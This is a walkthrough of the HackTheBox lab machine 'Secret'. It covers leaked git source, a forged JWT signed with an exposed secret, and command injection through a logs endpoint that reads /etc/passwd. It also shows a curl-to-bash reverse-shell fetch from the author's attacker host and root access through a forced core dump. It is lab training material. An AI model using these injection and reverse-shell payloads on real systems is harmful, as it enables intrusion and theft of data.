Home Secret Hackthebox
Post
Cancel

Secret Hackthebox

Secret

Secret info card

Secret is an easy machine on Hackthebox. Started with .git expose and use gittools to extract the repository. Review the source code from the repository and found lot of endpoints. The JSON Web Token will be generate and it help us to manipulate and perform remote code execution then use to get reverse shell. To escalate to root then we need to code review of c program. From that we find that we need to crash the program then it allows us to see the content of the memory via core dump. Then can get the root flag.

Recon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBjDFc+UtqNVYIrxJx+2Z9ZGi7LtoV6vkWkbALvRXmFzqStfJ3UM7TuOcZcPd82vk0gFVN2/wjA3LUlbUlr7oSlD15DdJkr/XjYrZLJnG4NCxcAnbB5CIRaWmrrdGy5pJ/KgKr4UEVGDK+oAgE7wbv++el2WeD1DF8gw+GIHhtjrK1s0nfyNGcmGOwx8crtHB4xLpopAxWDr2jzMFMdGcIzZMRVLbe+TsG/8O/GFgNXU1WqFYGe4xl+MCmomjh9mUspf1WP2SRZ7V0kndJJxtRBTw6V+NQ/7EJYJPMeugOtbputyZMH+jALhzxBs07JLbw8Bh9JX+ZJl/j6VcIDfFRXxB7ceSe/cp4UYWcLqN+AsoE7k+uMCV6vmXYPNC3g5xfMMrDfVmGmrPbop0oPZUB3kr8iz5CI/qM61WI07/MME1uyM352WZHAJmeBLPAOy05ZBY+DgpVElkr0vVa+3UyKsF1dC3Qm2jisx/qh3sGauv1R8oXGHvy0+oeMOlJN+k=
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOL9rRkuTBwrdKEa+8VrwUjloHdmUdDR87hBOczK1zpwrsV/lXE1L/bYvDMUDVD0jE/aqMhekqNfBimt8aX53O0=
|   256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINM1K8Yufj5FJnBjvDzcr+32BQ9R/2lS/Mu33ExJwsci
80/tcp   open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open  http    syn-ack ttl 63 Node.js (Express middleware)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Check the http web and found some download button and it shows that the download button have source code.

Untitled

In the unzip file we can see the .git dir so we can extract it with gitTools. https://github.com/internetwache/GitTools

The extractor section will extract commits and their content from a broken repository.

Extract the source code from the commits

Extract the source code from the commits

Untitled

Extract all the commit source code need to do enumeration. We got lot of endpoint and do not know how to exploit. In forgot.js file we see the a condition to check the name of the user.

Untitled

private.js file have have the check role condition where if the user is theadmin we can get the flag??

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#private.js
if (name == 'theadmin'){
        res.json({
            role:{

                role:"you are admin", 
                desc : "{flag will be here}"
            }
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }

})

Theres a file which is verifytoke.js who verify jwt token and the code shows that to pass the verify token we need to have TOKEN_SECRET. Since .env have the token_secret maybe we can bypass the verification.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#verifytoken.js 
const jwt = require("jsonwebtoken");

module.exports = function (req, res, next) {
    const token = req.header("auth-token");
    if (!token) return res.status(401).send("Access Denied");

    try {
        const verified = jwt.verify(token, process.env.TOKEN_SECRET);
        req.user = verified;
        next();
    } catch (err) {
        res.status(400).send("Invalid Token");
    }
};

First of all we can see the /login and /register so we need to register first then this will generate the jwt token from our credentials.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#auth.js
router.post('/register', async (req, res) => {                                                                       
                                                          
    // validation                                                                                                    
    const { error } = registerValidation(req.body)                                                                   
    if (error) return res.status(400).send(error.details[0].message);                                                
                                                                                                                     
    // check if user exists                                                                                          
    const emailExist = await User.findOne({email:req.body.email})                                                    
    if (emailExist) return res.status(400).send('Email already Exist')
                                                                                                                     
    // check if user name exist                                                                                      
    const unameexist = await User.findOne({ name: req.body.name })                                                   
    if (unameexist) return res.status(400).send('Name already Exist')
                                                                                                                     
    //hash the password                                                                                              
    const salt = await bcrypt.genSalt(10);                                                                           
    const hashPaswrod = await bcrypt.hash(req.body.password, salt)
                                                                                                                     
                                                                                                                                                                                                                                               //create a user                                                                                                                                                                                                                            const user = new User({  
        name: req.body.name,                              
        email: req.body.email,                                                                                       
        password:hashPaswrod
    });                                                   
                                                          
    try{                                    
        const saveduser = await user.save();
        res.send({ user: user.name})
     
    }          
    catch(err){         
        console.log(err)
    }                                                     
                                                          
});

The /login check all the information if its valid also check the jwt token too.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#auth.js
router.post('/login', async  (req , res) => {             
                                                          
    const { error } = loginValidation(req.body)                                                                      
    if (error) return res.status(400).send(error.details[0].message);

    // check if email is okay 
    const user = await User.findOne({ email: req.body.email })
    if (!user) return res.status(400).send('Email is wrong');

    // check password 
    const validPass = await bcrypt.compare(req.body.password, user.password)
    if (!validPass) return res.status(400).send('Password is wrong');

    // create jwt 
    const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
    res.header('auth-token', token).send(token);

Try curl command and it always return the page of the website. The command is

1
2
#It always return source code of the page.
curl -X POST http://10.10.11.120/login -H 'Content-Type: application/json' -d '{"name":"theadmin","email":"theadmin@dasith.works","password":"admin1234"}'

I wonder what is wrong so i check again all the source code file. Found in index.js theres an api that has been declare and it for all the file in /routes/auth .

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// import routs 
const authRoute = require('./routes/auth');  <<<
const webroute = require('./src/routes/web')

dotenv.config();
//connect db 

mongoose.connect(process.env.DB_CONNECT, { useNewUrlParser: true }, () =>
    console.log("connect to db!")
);

//middle ware 
app.use(express.json());
app.use('/api/user',authRoute)  <<<
app.use('/api/', privRoute)
app.use('/', webroute)

Foothold

Thats when i realize need to add /api/user .

1
2
3
#Output of the curl command with the API
curl -X POST http://10.10.11.120/api/user/register -H 'Content-Type: application/json' -d '{"name":"theadmin","email":"theadmin@dasith.works","password":"admin1234"}'
Name already Exist

It shows that it already exist. We need to login as theadmin so we can get the role privilage so in order to bypass the condition I set one space infront of theadmin name. and register it with the curl command.

1
2
3
root@Rav3nCLaW [10:52:19 AM] [~/Documents/htb/secret] 
-> # curl -X POST http://10.10.11.120/api/user/register -H 'Content-Type: application/json' -d '{"name":" theadmin","email":"admin@dasith.works","password":"admin1234"}'                                                                 
{"user":" theadmin"}

Then login into it and we get the jwt token

1
2
3
root@Rav3nCLaW [10:56:42 AM] [~/Documents/htb/secret] 
-> # curl -X POST http://10.10.11.120/api/user/login -H 'Content-Type: application/json' -d '{"email":"admin@dasith.works","password":"admin1234"}'
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWJmZWZlOGQ3YTU3MTA0NjE1NTUyNWMiLCJuYW1lIjoiIHRoZWFkbWluIiwiZW1haWwiOiJhZG1pbkBkYXNpdGgud29ya3MiLCJpYXQiOjE2Mzk5NjkwMDV9.MRp-w0TwkkQCnaU-FXpb8GuUA-WG-2fuFFTG7fPFB2

From the jwt.io we can see that theadmin name have one space and we can get the jwt token.

Payload of the curl command

Payload of the curl command

But as we check for the privilage we do not get theadmin privilage. I guess because we put space and we do not get that. I erase the space and try it again but it return invalid token.

1
2
3
root@Rav3nCLaW [11:05:26 AM] [~/Documents/htb/secret] 
-> # curl http://10.10.11.120/api/priv -H 'auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWJmZWZlOGQ3YTU3MTA0NjE1NTUyNWMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFkbWluQGRhc2l0aC53b3JrcyIsImlhdCI6MTYzOTk2OTAwNX0.2_lODVTEONZFoluz_xGgc5w90ChYO56_p4pRR9iYDxA'
Invalid Token

As for now we can change the payload data and we get the secret token and I put the secret token to verify the signature. Get the new token and try it as before.

1
2
curl http://10.10.11.120/api/priv -H 'auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWJmZWZlOGQ3YTU3MTA0NjE1NTUyNWMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFkbWluQGRhc2l0aC53b3JrcyIsImlhdCI6MTYzOTk2OTAwNX0.J98EPAjVQ7KJwK2i0OC9BQ2CSqav7I3T6Tq0dyZ_YT0'
{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}

Yeayy got it but what to do next ??? As idk what to do i found somethin new in /2-e297a2797a5f62b6011654cf6fb6ccb6712d2d5b/routes/private.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
const router = require('express').Router();
const verifytoken = require('./verifytoken')
const User = require('../model/user');

router.get('/priv', verifytoken, (req, res) => {
   // res.send(req.user)

    const userinfo = { name: req.user }

    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        res.json({
            creds:{
                role:"admin", 
                username:"theadmin",
                desc : "welcome back admin,"
            }
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})

router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;   <<<
    const userinfo = { name: req.user }
    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;
        exec(getLogs, (err , output) =>{
            if(err){
                res.status(500).send(err);
                return
            }
            res.json(output);
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})

router.use(function (req, res, next) {
    res.json({
        message: {

            message: "404 page not found",
            desc: "page you are looking for is not found. "
        }
    })
});

module.exports = router

Guess not all commit show another have of this private.js code. As for the code it use the get method with /logs and the code with req.query.file think will be parameter for the logs get method.

1
2
3
4
#get rce 
root@Rav3nCLaW [11:31:55 AM] [~/Documents/htb/secret] 
-> # curl http://10.10.11.120/api/logs\?file\=\;cat+/etc/passwd -H 'auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWJmZWZlOGQ3YTU3MTA0NjE1NTUyNWMiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFkbWluQGRhc2l0aC53b3JrcyIsImlhdCI6MTYzOTk2OTAwNX0.J98EPAjVQ7KJwK2i0OC9BQ2CSqav7I3T6Tq0dyZ_YT0'
"80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nsystemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:103:106::/nonexistent:/usr/sbin/nologin\nsyslog:x:104:110::/home/syslog:/usr/sbin/nologin\n_apt:x:105:65534::/nonexistent:/usr/sbin/nologin\ntss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false\nuuidd:x:107:112::/run/uuidd:/usr/sbin/nologin\ntcpdump:x:108:113::/nonexistent:/usr/sbin/nologin\nlandscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin\npollinate:x:110:1::/var/cache/pollinate:/bin/false\nusbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\nsshd:x:112:65534::/run/sshd:/usr/sbin/nologin\nsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin\ndasith:x:1000:1000:dasith:/home/dasith:/bin/bash\nlxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false\nmongodb:x:113:117::/var/lib/mongodb:/usr/sbin/nologin\n

Now we can get the reverse shell and we can get it with our own bash reverse shell where we curl our file to the machine and execute it.

1
2
root@Rav3nCLaW [11:49:57 PM] [~/Documents/htb/secret] 
-> # curl http://10.10.11.120/api/logs\?file\=\|curl%20http://10.10.14.84:8000/revshell.sh%20%7C%20bash -H 'auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWMwYTRiZTRhZmVhODA0M2VlMDEzNjIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFkbWluQGRhc2l0aC53b3JrcyIsImlhdCI6MTY0MDAxNTA1OH0.FL2H-2FwHFWTa1gz9PRrYWRrgKk1QlOIJM1kwWj29Q0'

Untitled

Privilage escalation

The root privesc is not easy and I run the linpeas to check the possible outcome to privesc.

Found c program in /opt directory then in the code there is a function that can be use to get the code dump of the program.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <linux/limits.h>

void dircount(const char *path, char *summary)
{
    DIR *dir;
    char fullpath[PATH_MAX];
    struct dirent *ent;
    struct stat fstat;

    int tot = 0, regular_files = 0, directories = 0, symlinks = 0;

    if((dir = opendir(path)) == NULL)
    {
        printf("\nUnable to open directory.\n");
        exit(EXIT_FAILURE);
    }
    while ((ent = readdir(dir)) != NULL)
    {
        ++tot;
        strncpy(fullpath, path, PATH_MAX-NAME_MAX-1);
        strcat(fullpath, "/");
        strncat(fullpath, ent->d_name, strlen(ent->d_name));
        if (!lstat(fullpath, &fstat))
        {
            if(S_ISDIR(fstat.st_mode))
            {
                printf("d");
                ++directories;
            }
            else if(S_ISLNK(fstat.st_mode))
            {
                printf("l");
                ++symlinks;
            }
            else if(S_ISREG(fstat.st_mode))
            {
                printf("-");
                ++regular_files;
            }
            else printf("?");
            printf((fstat.st_mode & S_IRUSR) ? "r" : "-");
            printf((fstat.st_mode & S_IWUSR) ? "w" : "-");
            printf((fstat.st_mode & S_IXUSR) ? "x" : "-");
            printf((fstat.st_mode & S_IRGRP) ? "r" : "-");
            printf((fstat.st_mode & S_IWGRP) ? "w" : "-");
            printf((fstat.st_mode & S_IXGRP) ? "x" : "-");
            printf((fstat.st_mode & S_IROTH) ? "r" : "-");
            printf((fstat.st_mode & S_IWOTH) ? "w" : "-");
            printf((fstat.st_mode & S_IXOTH) ? "x" : "-");
        }
        else
        {
            printf("??????????");
        }
        printf ("\t%s\n", ent->d_name);
    }
    closedir(dir);

    snprintf(summary, 4096, "Total entries       = %d\nRegular files       = %d\nDirectories         = %d\nSymbolic links      = %d\n", tot, regular_files, directories, symlinks);
    printf("\n%s", summary);
}

void filecount(const char *path, char *summary)
{
    FILE *file;
    char ch;
    int characters, words, lines;

    file = fopen(path, "r");

    if (file == NULL)
    {
        printf("\nUnable to open file.\n");
        printf("Please check if file exists and you have read privilege.\n");
        exit(EXIT_FAILURE);
    }

    characters = words = lines = 0;
    while ((ch = fgetc(file)) != EOF)
    {
        characters++;
        if (ch == '\n' || ch == '\0')
            lines++;
        if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0')
            words++;
    }

    if (characters > 0)
    {
        words++;
        lines++;
    }

    snprintf(summary, 256, "Total characters = %d\nTotal words      = %d\nTotal lines      = %d\n", characters, words, lines);
    printf("\n%s", summary);
}

int main()
{
    char path[100];
    int res;
    struct stat path_s;
    char summary[4096];

    printf("Enter source file/directory name: ");
    scanf("%99s", path);
    getchar();
    stat(path, &path_s);
    if(S_ISDIR(path_s.st_mode))
        dircount(path, summary);
    else
        filecount(path, summary);

    // drop privs to limit file write
    setuid(getuid());
    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1); <<<< 
    printf("Save results a file? [y/N]: ");
    res = getchar();
    if (res == 121 || res == 89) {
        printf("Path: ");
        scanf("%99s", path);
        FILE *fp = fopen(path, "a");
        if (fp != NULL) {
            fputs(summary, fp);
            fclose(fp);
        } else {
            printf("Could not open %s for writing\n", path);
        }
    }

    return 0;

Meaning of the function https://www.tutorialspoint.com/unix_system_calls/prctl.htm

Untitled

The idea is to make the program crash and the program will return the core dump in /var/crash The idea to crash it because the file of the cannot be write and since the function of pcrtl got in the code maybe it is the way.

https://unix.stackexchange.com/questions/139071/what-are-the-files-located-in-var-crash

https://wiki.ubuntu.com/CrashReporting

Untitled

Run the count program and check the PID of the program to make it crash

1
kill -SEGV 45739

Untitled

After kill the process we know that crash dump at the kernel will be at the /var/crash . Then use the apport-unpack to extract the core dump.

Untitled

Untitled

Get the flag and submit it.

This post is licensed under CC BY 4.0 by the author.